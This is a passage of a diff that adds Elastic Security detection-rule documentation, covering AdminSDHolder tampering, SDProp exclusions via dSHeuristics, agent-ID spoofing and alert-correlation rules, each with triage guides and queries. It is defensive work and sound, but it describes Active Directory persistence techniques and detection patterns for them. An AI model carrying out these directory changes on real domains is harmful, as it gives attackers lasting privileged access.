session","providers":[[{"excluded":false,"field":"winlog.computer_name","queryType":"phrase","value":"{{winlog.computer_name}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectLogonId","queryType":"phrase","value":"{{winlog.event_data.SubjectLogonId}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4648","valueType":"string"}]],"relativeFrom":"now-24h/h","relativeTo":"now"}} + - Implication: escalate when the writer is unexpected, source or auth method does not fit tier-0 administration, or origin remains unresolved with a security-relevant change; do not wait on auth pivots when the attribute/value and change set already prove unauthorized rights. + +- Did the template change propagate or get forced onto protected objects? + - Why: SDProp can apply the AdminSDHolder template to protected accounts and groups, so impact may appear after the initial directory-change event. + - Focus: on the same `winlog.event_data.DSName` or `winlog.computer_name`, review later `5136` events for object, attribute, writer, and time on protected users or groups. + - Hint: if the logging controller has no follow-on records, search the same `winlog.event_data.DSName` across domain controllers; absence on one controller does not clear propagation. !{investigate{"description":"","label":"Later 5136 changes in the same directory service","providers":[[{"excluded":false,"field":"winlog.event_data.DSName","queryType":"phrase","value":"{{winlog.event_data.DSName}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"5136","valueType":"string"}],[{"excluded":false,"field":"winlog.computer_name","queryType":"phrase","value":"{{winlog.computer_name}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"5136","valueType":"string"}]],"relativeFrom":"now","relativeTo":"now"}} + - Implication: escalate when later events show security-descriptor, owner, or trustee changes on protected identities after the AdminSDHolder edit; no follow-on `5136` visibility leaves propagation unresolved, not benign. + +- Escalate when object, security-relevant attribute/value, `winlog.event_data.OpCorrelationID`, writer/session origin, or propagation evidence shows unauthorized control; close only when the exact change, bounded `5136` set, actor/session origin, and available change or baseline record all point to one recognized tier-0 workflow; preserve directory-change evidence and escalate mixed or incomplete answers. If local answers stay suspicious or unresolved, review alerts for the modifying `user.id`; use controller `host.id` alert history only when actor evidence is sparse or controller compromise is plausible. + - !{investigate{"description":"","label":"Recent alerts tied to this modifying identity","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Recent alerts on this domain controller","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + + +*False positive analysis* + + +- AdminSDHolder ACL hardening, delegated-directory cleanup, security-baseline tooling, or migration automation are narrow tier-0 exceptions, not routine administration. Confirm the exact attribute/value/operation for `winlog.event_data.ObjectDN`, expected admin or service-account session, bounded `winlog.event_data.OpCorrelationID`, matching controller/template rollout, and no unrelated actor or controller alerts. If change records, automation inventory, or deployment records exist, require alignment; otherwise prove the current actor/action or service-account/template fit from telemetry first, then use prior recurrence only to support exception stability. +- Before creating an exception, validate recurrence of the same `user.id` or `winlog.event_data.SubjectUserSid`, specific attribute, object, `winlog.event_data.DSName`, bounded operation shape, and controller pattern across prior alerts from this rule. Build the exception from that minimum confirmed workflow only after the current event is fully explained, and avoid exceptions on AdminSDHolder changes, Windows Security event "5136", or the rule name alone. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and record the exact actor, session, AdminSDHolder object, changed attribute, operation-correlation, and controller pattern that proved the recognized workflow. Do not keep a broad exception unless the same workflow recurs. +- If suspicious but unconfirmed, preserve the triggering `5136` event, the correlated `winlog.event_data.OpCorrelationID` change set, the current AdminSDHolder security descriptor, linked `4624` or `4648` session records, and case exports before containment. Apply reversible containment first, such as temporarily restricting the modifying account's directory-write path or increasing monitoring on the recovered actor and controller. Use broader account disablement or domain-controller isolation only if related alerts or follow-on directory abuse show active compromise and the AD response owner accepts the operational impact. +- If confirmed malicious, export the current AdminSDHolder security descriptor, recovered `5136` change set, replication context, implicated object identity, actor SID, logon session, and source-origin evidence before rollback or account action. Contain the modifying account and any recovered source endpoint or IP through identity-response or endpoint-response tooling; if direct response is unavailable, escalate that preserved evidence set to the AD or incident-response team that can act. +- After containment, review protected users and groups for unauthorized ACEs, owner changes, or delegated rights that may have been restamped from the tampered template before removing them. Restore the AdminSDHolder ACL to a known-good state, verify clean replication across domain controllers, then reset or rotate privileged credentials exposed or newly granted through the unauthorized template. +- Post-incident hardening: restrict AdminSDHolder write access to dedicated tier-0 administration paths, baseline the expected AdminSDHolder security descriptor, keep directory-service change auditing for `5136` and linked authentication logging enabled on domain controllers, and record telemetry gaps that limited the investigation. + + +==== Setup + + + +*Setup* + + +Audit Directory Service Changes must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-directory-service-changes + + +==== Rule query + + +[source, js] +---------------------------------- +event.code:5136 and host.os.type:"windows" and winlog.event_data.ObjectDN:CN=AdminSDHolder,CN=System* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Domain Accounts +** ID: T1078.002 +** Reference URL: https://attack.mitre.org/techniques/T1078/002/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-adminsdholder-sdprop-exclusion-added.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-adminsdholder-sdprop-exclusion-added.asciidoc new file mode 100644 index 0000000000..fd2a85f402 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-adminsdholder-sdprop-exclusion-added.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-34-adminsdholder-sdprop-exclusion-added]] +=== AdminSDHolder SDProp Exclusion Added + +Identifies a modification on the dsHeuristics attribute on the bit that holds the configuration of groups excluded from the SDProp process. The SDProp compares the permissions on protected objects with those defined on the AdminSDHolder object. If the permissions on any of the protected accounts and groups do not match, the permissions on the protected accounts and groups are reset to match those of the domain's AdminSDHolder object, meaning that groups excluded will remain unchanged. Attackers can abuse this misconfiguration to maintain long-term access to privileged accounts in these groups. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.cert.ssi.gouv.fr/uploads/guide-ad.html#dsheuristics_bad +* https://petri.com/active-directory-security-understanding-adminsdholder-object + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Active Directory +* Resources: Investigation Guide +* Use Case: Active Directory Monitoring +* Data Source: Windows Security Event Logs +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 220 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AdminSDHolder SDProp Exclusion Added* + + + +*Possible investigation steps* + + +- What did the 5136 record do to the SDProp exclusion mask? + - Focus: `winlog.event_data.OperationType` and `winlog.event_data.AttributeValue`; decode position "1" = Account Operators, "2" = Server Operators, "4" = Print Operators, "8" = Backup Operators, with additive hex combinations. + - Implication: escalate when an added or replaced value leaves any operator group excluded from SDProp, especially multiple groups; lower concern only when paired 5136 records prove removal and rollback to 0. If the active mask is unproven, treat as unresolved. + +- Did the change land on the forest configuration object controlling SDProp behavior? + - Focus: `winlog.event_data.ObjectDN`, `winlog.event_data.DSName`, and `host.name`. + - Implication: forest-impacting when `winlog.event_data.ObjectDN` is the Directory Service object under "CN=Windows NT,CN=Services,CN=Configuration" and the naming context is in scope; narrow only when `winlog.event_data.DSName` and `host.name` identify a lab or recovery forest. + +- Which identity changed "dSHeuristics", and does it fit directory configuration work? + - Focus: `user.id`, `user.name`, `user.domain`, and `winlog.event_data.SubjectLogonId`. + - Implication: suspicious when the writer is not a dedicated directory-configuration identity for the affected forest; reduce concern only when identity and object match confirmed hardening or recovery. + +- What source session produced the directory change? + - Why: the 5136 event names the writer, but session origin separates console or jump-host administration from remote or alternate-credential use. + - Focus: on the domain controller, find 4624 events where `winlog.event_data.TargetLogonId` equals the 5136 `winlog.event_data.SubjectLogonId`; read `source.ip`, `winlog.logon.type`, and `winlog.event_data.AuthenticationPackageName`. !{investigate{"description":"","label":"Linked logon for the modifying session","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.TargetLogonId","queryType":"phrase","value":"{{winlog.event_data.SubjectLogonId}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4624","valueType":"string"}]],"relativeFrom":"now-24h/h","relativeTo":"now"}} + - Hint: search 4648 by `winlog.event_data.SubjectLogonId` when explicit-credential use would change the answer. !{investigate{"description":"","label":"Explicit credential events for the modifying session","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectLogonId","queryType":"phrase","value":"{{winlog.event_data.SubjectLogonId}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4648","valueType":"string"}]],"relativeFrom":"now-24h/h","relativeTo":"now"}} + - Hint: Missing authentication telemetry is unresolved, not benign. + - Implication: escalate for unexpected workstation, direct DC logon, remote-interactive path, NTLM where Kerberos is expected, or explicit-credential use; reduce concern when origin, logon type, and authentication package fit the confirmed directory-configuration case. + +- Did the same operation or session change other privileged directory state? + - Why: SDProp exclusion is most damaging with AdminSDHolder ACL, privileged membership, delegation, or security-descriptor changes that persist because SDProp no longer resets excluded groups. + - Focus: 5136 events on the same `host.id` where `winlog.event_data.OpCorrelationID` matches, then the same `winlog.event_data.SubjectLogonId` if needed; read `winlog.event_data.ObjectDN`, `winlog.event_data.AttributeLDAPDisplayName`, and `winlog.event_data.AttributeValue`. !{investigate{"description":"","label":"All 5136 events in this SDProp exclusion change set","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.OpCorrelationID","queryType":"phrase","value":"{{winlog.event_data.OpCorrelationID}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"5136","valueType":"string"}]],"relativeFrom":"now-24h/h","relativeTo":"now"}} + - Range: inspect the alert burst first; if the mask stayed non-zero, extend through the weakened interval for follow-on membership, ACL, delegation, or security-descriptor changes on excluded groups. + - Implication: escalate when the same burst touches AdminSDHolder, privileged groups, delegation attributes, or security descriptors; lower suspicion only when grouped changes stay limited to one intentional SDProp configuration action. + +- If local evidence remains suspicious or unresolved, do related alerts change scope or urgency? + - Focus: recent alerts for the same `user.id`. !{investigate{"description":"","label":"Alerts associated with the writer","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: also review domain controller `host.id` when controller compromise or change spread remains unresolved. !{investigate{"description":"","label":"Alerts associated with the domain controller","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden response when the writer or controller has related AD tampering, unusual authentication, privilege abuse, persistence, credential-access, or lateral-movement alerts; keep scope local only when related alerts are quiet and local telemetry supports a bounded explanation. + +- Escalate for an active non-zero in-scope mask, abnormal writer or source session, or grouped privileged changes; close only when mask, operation, scope, writer, session, and grouped 5136 prove rollback to 0 or confirmed hardening/testing without contradictions; preserve and escalate mixed or incomplete cases. + + +*False positive analysis* + + +- Treat non-zero SDProp exclusions as suspicious. Directory hardening or delegated-admin redesign is benign only when excluded operator groups were intentionally stripped of privileged rights and a dedicated configuration workflow made the change. Confirm `winlog.event_data.AttributeValue` maps to the planned group set, `winlog.event_data.ObjectDN` and `winlog.event_data.DSName` identify the expected Directory Service object, `user.id` and recovered `source.ip` identify the authorized admin session, and `winlog.event_data.OpCorrelationID` activity stays bounded to maintenance. If evidence is unavailable, the alert remains unresolved; do not close from repetition. +- Lab-forest or recovery-forest testing may intentionally change "dSHeuristics". Confirm `winlog.event_data.DSName` and `host.name` place the event in that forest, `user.id` and `winlog.event_data.SubjectLogonId` identify the designated test administrator, and related alerts on `host.id` lack unrelated credential-access, persistence, or lateral-movement activity. If records are unavailable, treat as unresolved unless another reliable source confirms forest identity and administrator. +- Before creating an exception, validate recurrence for the same `user.id`, `host.id`, `winlog.event_data.ObjectDN`, `winlog.event_data.DSName`, `winlog.event_data.AttributeValue`, and bounded `winlog.event_data.OpCorrelationID` pattern. Avoid exceptions on "dSHeuristics", event 5136, or rule name alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and document the mask, object scope, writer, session origin, controller, and confirmation source proving the authorized workflow. Keep exceptions tied to the recurring workflow pattern, not the attribute or event code. +- If suspicious but unconfirmed, preserve triggering and grouped 5136 records, linked 4624 or 4648 authentication records, and key identifiers: `winlog.event_data.ObjectGUID`, `winlog.event_data.OpCorrelationID`, `user.id`, `host.id`, and recovered `source.ip`. Apply reversible containment tied to those findings: restrict the implicated account from directory-configuration changes, increase DC monitoring, or contain the recovered source host if not a critical controller. Escalate to account disablement or host isolation only when related alerts or session evidence show broader abuse. +- If confirmed malicious, preserve directory-change and authentication evidence before changing configuration. Restore "dSHeuristics" to the expected value, verify rollback replication on other domain controllers, and review the same `winlog.event_data.OpCorrelationID` or `winlog.event_data.SubjectLogonId` for unauthorized directory changes. Contain the writer account or recovered source host with identity or endpoint response tooling; avoid isolating a domain controller unless broader compromise is confirmed and directory owners can tolerate the action. +- After containment, check whether excluded operator groups received unauthorized membership, ACL, delegation, or security-descriptor changes while SDProp protection was weakened, and roll back only malicious changes identified. +- Post-incident hardening: keep Windows Security 5136 directory-service auditing enabled on domain controllers, restrict "dSHeuristics" changes to dedicated directory-configuration workflows, reduce or remove privileged rights from built-in operator groups where possible, and record visibility gaps or adjacent variants for engineering review. + + +==== Setup + + + +*Setup* + + +Audit Directory Service Changes must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-directory-service-changes + + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and event.code == "5136" and + winlog.event_data.AttributeLDAPDisplayName : "dSHeuristics" and + winlog.event_data.OperationType : "%%14674" and + length(winlog.event_data.AttributeValue) > 15 and + winlog.event_data.AttributeValue regex~ "[0-9]{15}([1-9a-f]).*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Domain Accounts +** ID: T1078.002 +** Reference URL: https://attack.mitre.org/techniques/T1078/002/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-adversary-behavior-detected-elastic-endgame.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-adversary-behavior-detected-elastic-endgame.asciidoc new file mode 100644 index 0000000000..7e73223c14 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-adversary-behavior-detected-elastic-endgame.asciidoc @@ -0,0 +1,111 @@ +[[prebuilt-rule-8-19-34-adversary-behavior-detected-elastic-endgame]] +=== Adversary Behavior - Detected - Elastic Endgame + +Elastic Endgame detected an Adversary Behavior. Click the Elastic Endgame icon in the event.module column or the link in the rule.reference column for additional information. + +*Rule type*: query + +*Rule indices*: + +* endgame-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1m + +*Searches indices from*: now-2m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1000 + +*References*: None + +*Tags*: + +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Rule Type: Higher-Order +* Domain: Endpoint + +*Version*: 107 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Adversary Behavior - Detected - Elastic Endgame* + + +Elastic Endgame is a security solution designed to detect and prevent adversarial actions by monitoring system behaviors. Adversaries may exploit system vulnerabilities or execute unauthorized actions to compromise environments. This detection rule identifies suspicious behavior by analyzing alerts and specific event actions, flagging potential threats for further investigation. The rule's medium severity and risk score highlight its importance in maintaining security posture. + + +*Possible investigation steps* + + +- Review the alert details in the Elastic Endgame console by clicking the Elastic Endgame icon in the event.module column or the link in the rule.reference column to gather more context about the detected behavior. +- Analyze the event.action and endgame.event_subtype_full fields to understand the specific behavior protection event that triggered the alert. +- Correlate the alert with other recent alerts or logs from the same host or user to identify any patterns or additional suspicious activities. +- Investigate the affected system for any signs of compromise or unauthorized changes, focusing on the timeframe around the alert. +- Check for any known vulnerabilities or misconfigurations in the affected system that could have been exploited by the adversary. +- Consult with the IT or security team to determine if any recent changes or updates could have triggered the alert as a false positive. + + +*False positive analysis* + + +- Routine software updates or installations may trigger alerts due to behavior resembling adversarial actions. Users can create exceptions for known update processes to reduce false positives. +- Legitimate administrative tasks, such as system configuration changes, might be flagged. Identifying and excluding these tasks from monitoring can help minimize unnecessary alerts. +- Security tools or scripts that perform regular scans or maintenance can mimic adversary behavior. Whitelisting these tools in the detection rule settings can prevent them from being flagged. +- Automated backup processes that access multiple files or systems simultaneously may be misinterpreted as suspicious. Users should ensure these processes are recognized and excluded from triggering alerts. +- Custom applications with unique behaviors might be incorrectly identified as threats. Users should document and exclude these behaviors if they are verified as non-threatening. + + +*Response and remediation* + + +- Isolate the affected system immediately to prevent further unauthorized actions or potential lateral movement by the adversary. +- Review the specific event.action and endgame.event_subtype_full fields to understand the nature of the detected behavior and identify any compromised accounts or processes. +- Terminate any unauthorized processes or sessions identified during the investigation to halt adversary activities. +- Apply security patches or updates to address any exploited vulnerabilities that may have been used by the adversary. +- Conduct a thorough scan of the affected system and network to identify and remove any malicious artifacts or backdoors left by the adversary. +- Restore affected systems from a known good backup if necessary, ensuring that the backup is free from compromise. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + + +*Additional notes* + + +For information on troubleshooting the maximum alerts warning please refer to this https://www.elastic.co/guide/en/security/current/alerts-ui-monitor.html#troubleshoot-max-alerts[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.kind:alert and event.module:endgame and (event.action:behavior_protection_event or endgame.event_subtype_full:behavior_protection_event) + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-agent-spoofing-multiple-hosts-using-same-agent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-agent-spoofing-multiple-hosts-using-same-agent.asciidoc new file mode 100644 index 0000000000..18c24227bc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-agent-spoofing-multiple-hosts-using-same-agent.asciidoc @@ -0,0 +1,124 @@ +[[prebuilt-rule-8-19-34-agent-spoofing-multiple-hosts-using-same-agent]] +=== Agent Spoofing - Multiple Hosts Using Same Agent + +Detects when multiple hosts are using the same agent ID. This could occur in the event of an agent being taken over and used to inject illegitimate documents into an instance as an attempt to spoof events in order to masquerade actual activity to evade detection. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: ES|QL +* Domain: Endpoint + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Agent Spoofing - Multiple Hosts Using Same Agent* + + +In network environments, agents are deployed on hosts to monitor and report activities. Adversaries may exploit these agents by hijacking their IDs to inject false data, masking malicious actions. The detection rule identifies anomalies where multiple hosts report using the same agent ID, signaling potential spoofing attempts. By focusing on unique agent ID usage, it helps uncover evasion tactics aimed at concealing unauthorized activities. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific agent ID that is being reported by multiple hosts. +- Cross-reference the agent ID with the list of known and authorized agents to determine if it has been compromised or misconfigured. +- Examine the network logs and host activity for each host reporting the same agent ID to identify any unusual or unauthorized activities. +- Check for any recent changes or updates to the agent software on the affected hosts that could explain the anomaly. +- Investigate the timeline of events to determine when the agent ID started being used by multiple hosts and correlate this with any known incidents or changes in the network environment. +- Assess the potential impact of the spoofing attempt on the network's security posture and consider isolating affected hosts if necessary to prevent further malicious activity. + + +*False positive analysis* + + +- Legitimate load balancing or failover scenarios where multiple hosts are configured to use the same agent ID for redundancy can trigger false positives. Users should identify and document these configurations, then create exceptions in the detection rule to exclude these known non-threatening behaviors. +- Virtualized environments where snapshots or clones of a host are created might result in multiple instances reporting the same agent ID. Users should ensure that each virtual instance is assigned a unique agent ID or adjust the rule to account for these scenarios. +- Testing or development environments where agents are intentionally duplicated for testing purposes can also lead to false positives. Users should tag these environments appropriately and modify the rule to exclude events from these tags. +- In cases where agents are temporarily reassigned to different hosts for maintenance or troubleshooting, users should maintain a log of these activities and adjust the detection rule to ignore these temporary changes. + + +*Response and remediation* + + +- Isolate affected hosts immediately to prevent further spread of potentially malicious activities across the network. +- Revoke and reissue new agent IDs for the affected hosts to ensure that compromised IDs are no longer in use. +- Conduct a thorough forensic analysis on the isolated hosts to identify any unauthorized changes or malicious software that may have been introduced. +- Review and update access controls and authentication mechanisms for agent deployment to prevent unauthorized access and hijacking of agent IDs. +- Monitor network traffic and logs closely for any signs of continued spoofing attempts or related suspicious activities. +- Escalate the incident to the security operations center (SOC) and relevant stakeholders to ensure awareness and coordinated response efforts. +- Implement enhanced logging and alerting for agent ID anomalies to improve detection of similar threats in the future. + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.* metadata _id +| where event.agent_id_status is not null and agent.id is not null +| stats Esql.count_distinct_host_ids = count_distinct(host.id), Esql.host_id_values = values(host.id), Esql.user_id_values_user_id = values(user.id) by agent.id +| where Esql.count_distinct_host_ids >= 2 +| keep Esql.count_distinct_host_ids, Esql.host_id_values, Esql.user_id_values_user_id, agent.id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Manipulation +** ID: T1565 +** Reference URL: https://attack.mitre.org/techniques/T1565/ +* Sub-technique: +** Name: Transmitted Data Manipulation +** ID: T1565.002 +** Reference URL: https://attack.mitre.org/techniques/T1565/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-alerts-from-multiple-integrations-by-destination-address.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-alerts-from-multiple-integrations-by-destination-address.asciidoc new file mode 100644 index 0000000000..f07d08cc6e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-alerts-from-multiple-integrations-by-destination-address.asciidoc @@ -0,0 +1,121 @@ +[[prebuilt-rule-8-19-34-alerts-from-multiple-integrations-by-destination-address]] +=== Alerts From Multiple Integrations by Destination Address + +This rule uses alert data to determine when multiple alerts from different integrations with unique event categories and involving the same destination.ip are triggered. Analysts can use this to prioritize triage and response, as these IP address is more likely to be related to a compromise. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 30m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Use Case: Threat Detection +* Rule Type: Higher-Order Rule +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: ES|QL +* Domain: Endpoint + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Alerts From Multiple Integrations by Destination Address* + + +The detection rule uses alert data to determine when multiple alerts from different integrations involving the same destination.ip are triggered. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific host involved and the different modules and rules that triggered the alert. +- Examine the timeline of the alerts to understand the sequence of events and determine if there is a pattern or progression in the tactics used. +- Correlate the alert data with other logs and telemetry from the host, such as process creation, network connections, and file modifications, to gather additional context. +- Investigate any known vulnerabilities or misconfigurations on the host that could have been exploited by the adversary. +- Check for any indicators of compromise (IOCs) associated with the alerts, such as suspicious IP addresses, domains, or file hashes, and search for these across the network. +- Assess the impact and scope of the potential compromise by determining if other hosts or systems have similar alerts or related activity. + + +*False positive analysis* + + +- Alerts from routine administrative tasks may trigger multiple tactics. Review and exclude known benign activities such as scheduled software updates or system maintenance. +- Security tools running on the host might generate alerts across different tactics. Identify and exclude alerts from trusted security applications to reduce noise. +- Automated scripts or batch processes can mimic adversarial behavior. Analyze and whitelist these processes if they are verified as non-threatening. +- Frequent alerts from development or testing environments can be misleading. Consider excluding these environments from the rule or applying a different risk score. +- User behavior anomalies, such as accessing multiple systems or applications, might trigger alerts. Implement user behavior baselines to differentiate between normal and suspicious activities. + + +*Response and remediation* + + +- Isolate the affected host from the network immediately to prevent further lateral movement by the adversary. +- Conduct a thorough forensic analysis of the host to identify the specific vulnerabilities exploited and gather evidence of the attack phases involved. +- Remove any identified malicious software or unauthorized access tools from the host, ensuring all persistence mechanisms are eradicated. +- Apply security patches and updates to the host to address any exploited vulnerabilities and prevent similar attacks. +- Restore the host from a known good backup if necessary, ensuring that the backup is free from compromise. +- Monitor the host and network for any signs of re-infection or further suspicious activity, using enhanced logging and alerting based on the identified attack patterns. +- Escalate the incident to the appropriate internal or external cybersecurity teams for further investigation and potential legal action if the attack is part of a larger campaign. + +==== Rule query + + +[source, js] +---------------------------------- +from .alerts-security.* + +// any alerts excluding low severity, threat_match and machine_learning rules +| where kibana.alert.rule.name is not null and destination.ip is not null and kibana.alert.risk_score > 21 and not kibana.alert.rule.type in ("threat_match", "machine_learning") and + not KQL("""kibana.alert.rule.tags : "Rule Type: Higher-Order Rule" """) + +// group alerts by destination.ip and extract values of interest for alert triage +| stats Esql.event_module_distinct_count = COUNT_DISTINCT(event.module), + Esql.rule_name_distinct_count = COUNT_DISTINCT(kibana.alert.rule.name), + Esql.event_category_distinct_count = COUNT_DISTINCT(event.category), + Esql.rule_risk_score_distinct_count = COUNT_DISTINCT(kibana.alert.risk_score), + Esql.event_module_values = VALUES(event.module), + Esql.rule_name_values = VALUES(kibana.alert.rule.name), + Esql.message_values = VALUES(message), + Esql.event_category_values = VALUES(event.category), + Esql.event_action_values = VALUES(event.action), + Esql.source_ip_values = VALUES(source.ip), + Esql.host_id_values = VALUES(host.id), + Esql.agent_id_values = VALUES(agent.id), + Esql.user_name_values = VALUES(user.name), + Esql.rule_severity_values = VALUES(kibana.alert.risk_score) by destination.ip + +// filter for alerts from same destination.ip reported by different integrations with unique categories and with different severity levels or presence of high severity alerts +| where Esql.event_module_distinct_count >= 2 and Esql.event_category_distinct_count >= 2 and (Esql.rule_risk_score_distinct_count >= 2 or Esql.rule_severity_values == 73 or Esql.rule_severity_values == 99) +| keep destination.ip, Esql.* + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-alerts-from-multiple-integrations-by-source-address.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-alerts-from-multiple-integrations-by-source-address.asciidoc new file mode 100644 index 0000000000..c5efb675e6 --- /dev/null +++ 